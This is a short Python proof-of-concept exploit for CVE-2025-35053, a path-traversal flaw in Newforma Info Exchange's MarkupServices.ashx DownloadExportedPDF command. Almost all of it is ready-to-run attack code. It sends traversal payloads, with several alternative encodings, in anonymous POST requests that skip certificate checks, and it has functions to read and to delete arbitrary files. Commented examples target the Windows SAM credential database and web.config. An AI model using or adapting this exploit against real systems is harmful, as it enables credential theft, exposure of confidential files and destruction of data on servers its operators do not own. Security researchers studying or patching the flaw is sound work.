CVE-2025-35053 Newforma Info Exchange任意文件读取删除漏洞

# CVE-2025-35053 PoC - Newforma Info Exchange Arbitrary File Read/Delete # Vulnerability: Path Traversal in MarkupServices.ashx DownloadExportedPDF command # Affected: Newforma Info Exchange before 2023.1 import requests TARGET_URL = "https://target-host.com" ENDPOINT = "/UserWeb/Common/MarkupServices.ashx" def exploit_read_file(target_file_path): """ Exploit CVE-2025-35053 to read arbitrary files Uses path traversal to access files outside intended directory """ # Construct payload with path traversal payload = { "command": "DownloadExportedPDF", "fileName": f"..\\..\\..\\..\\{target_file_path}", # Alternative traversal patterns that may work: # "fileName": f"../../../../{target_file_path}", # "fileName": f"....//....//....//{target_file_path}", } # In versions before 2023.1, anonymous access is enabled by default # allowing exploitation without valid credentials session = requests.Session() response = session.post( f"{TARGET_URL}{ENDPOINT}", data=payload, verify=False ) return response.content def exploit_delete_file(target_file_path): """ Exploit CVE-2025-35053 to delete arbitrary files """ payload = { "command": "DownloadExportedPDF", "fileName": f"..\\..\\..\\..\\{target_file_path}", "action": "delete" } session = requests.Session() response = session.post( f"{TARGET_URL}{ENDPOINT}", data=payload, verify=False ) return response.status_code # Example usage - read sensitive Windows files if __name__ == "__main__": # Read Windows SAM database (example) # content = exploit_read_file("Windows\\System32\\config\\SAM") # Read application config # content = exploit_read_file("inetpub\\wwwroot\\web.config") # Delete a critical file (example) # status = exploit_delete_file("important_file.txt") print("CVE-2025-35053 PoC - Adjust TARGET_URL and target_file_path as needed")